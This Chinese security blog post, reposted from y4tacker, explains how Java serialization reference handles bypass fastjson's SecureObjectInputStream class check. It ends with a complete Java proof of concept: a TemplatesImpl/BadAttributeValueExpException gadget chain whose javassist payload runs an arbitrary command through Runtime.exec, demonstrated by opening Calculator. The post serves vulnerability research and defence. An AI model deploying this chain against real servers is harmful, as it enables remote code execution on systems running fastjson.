FastJson与原生反序列化-二

admin 2024年10月29日00:16:00评论13 views字数 5827阅读19分25秒阅读模式

FastJson与原生反序列化(二)

很早之前在发第一篇的时候@jsjcw师傅就曾提到1.2.49后也能利用引用绕过,后面由@1ue师傅在知识星球中利用这个思路成功绕过并分享了payload,至此fastjson全版本就彻底加入原生反序列化的gadget,向师傅们致敬,想着将文章完善的缘故,并且师傅们没有提到具体的原理,因此发个第二篇进行简单介绍。

当然这里不会详细说明完整的序列化与反序列化的过程,如果有感兴趣的可以参考panda师傅的博客,关于序列化流程分析总结反序列化流程分析总结,里面已经写的很细致了。

回顾

之前提到了从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法,

FastJson与原生反序列化-二

在其SecureObjectInputStream类当中重写了resolveClass,通过调用了checkAutoType方法做类的检查,这样真的是安全的么?

resolveClass的调用

乍一看,这样的写法很安全,当调用JSONArray/JSONObject的Object方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream处理时,触发resolveClass实现对恶意类的拦截

这时候反序列化的调用过程是这样的,就是这样不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过

不安全的反序列化过程

123
ObjectInputStream -> readObjectxxxxxx(省略中间过程)SecureObjectInputStream -> readObject -> resolveClass

安全的反序列化过程

多提一嘴,平时我们作防御则应该是生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口,这样才是安全的,因此压力再次给到了开发身上

1
TestInputStream -> readObject -> resolveClass

为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

1234567891011121314151617181920212223242526272829303132333435363738394041424344
switch (tc) {                case TC_NULL:                    return readNull();                case TC_REFERENCE:                    return readHandle(unshared);                case TC_CLASS:                    return readClass(unshared);                case TC_CLASSDESC:                case TC_PROXYCLASSDESC:                    return readClassDesc(unshared);                case TC_STRING:                case TC_LONGSTRING:                    return checkResolve(readString(unshared));                case TC_ARRAY:                    return checkResolve(readArray(unshared));                case TC_ENUM:                    return checkResolve(readEnum(unshared));                case TC_OBJECT:                    return checkResolve(readOrdinaryObject(unshared));                case TC_EXCEPTION:                    IOException ex = readFatalException();                    throw new WriteAbortedException("writing aborted", ex);                case TC_BLOCKDATA:                case TC_BLOCKDATALONG:                    if (oldMode) {                        bin.setBlockDataMode(true);                        bin.peek();             // force header read                        throw new OptionalDataException(                            bin.currentBlockRemaining());                    } else {                        throw new StreamCorruptedException(                            "unexpected block data");                    }                case TC_ENDBLOCKDATA:                    if (oldMode) {                        throw new OptionalDataException(true);                    } else {                        throw new StreamCorruptedException(                            "unexpected end of block data");                    }                default:                    throw new StreamCorruptedException(                        String.format("invalid type code: %02X", tc));            }

再往后,跳过一些细节过程,上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass

再回到上面这个switch分支的代码,不会调用readClassDesc的分支有TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,这一点可以从其描述看出

FastJson与原生反序列化-二

那么就只剩下了reference引用类型了

如何利用引用类型

现在我们就要思考,如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查

答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,这里以List为例,

1234
ArrayList<Object> arrayList = new ArrayList<>();arrayList.add(templates);arrayList.add(templates);writeObjects(arrayList);

当我们写入对象时,会在handles这个哈希表中建立从对象到引用的映射

FastJson与原生反序列化-二

当再次写入同一对象时,在handles这个hash表中查到了映射

FastJson与原生反序列化-二

那么就会通过writeHandle将重复对象以引用类型写入

FastJson与原生反序列化-二

因此我们就可以利用这个思路构建攻击的payload了,这里简单以伪代码呈现,便于理解思路

1234567891011
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");ArrayList<Object> arrayList = new ArrayList<>();arrayList.add(templates);JSONArray jsonArray = new JSONArray();jsonArray.add(templates);BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);arrayList.add(bd);WriteObjects(arrayList);

简单梳理下

序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles这个hash表中查到了映射,后续则会以引用形式输出

反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过

当然前面也提到了不仅仅是List,Set与Map类型都能成功触发引用绕过。

完整利用

至此fastjson全版本实现了原生反序列化利用

代码测试依赖

12345678910
<dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.83</version></dependency><dependency>    <groupId>org.javassist</groupId>    <artifactId>javassist</artifactId>    <version>3.27.0-GA</version></dependency>

测试代码以HashMap为例

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061
import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Y4HackJSON {    public static void setValue(Object obj, String name, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }    public static byte[] genPayload(String cmd) throws Exception{        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        clazz.setSuperclass(superClass);        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");        clazz.addConstructor(constructor);        clazz.getClassFile().setMajorVersion(49);        return clazz.toBytecode();    }    public static void main(String[] args) throws Exception{        TemplatesImpl templates = TemplatesImpl.class.newInstance();        setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});        setValue(templates, "_name", "1");        setValue(templates, "_tfactory", null);        JSONArray jsonArray = new JSONArray();        jsonArray.add(templates);        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);        setValue(bd,"val",jsonArray);        HashMap hashMap = new HashMap();        hashMap.put(templates,bd);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);        objectOutputStream.writeObject(hashMap);        objectOutputStream.close();        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));        objectInputStream.readObject();    }}

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:16:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJson与原生反序列化-二https://cn-sec.com/archives/3314619.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息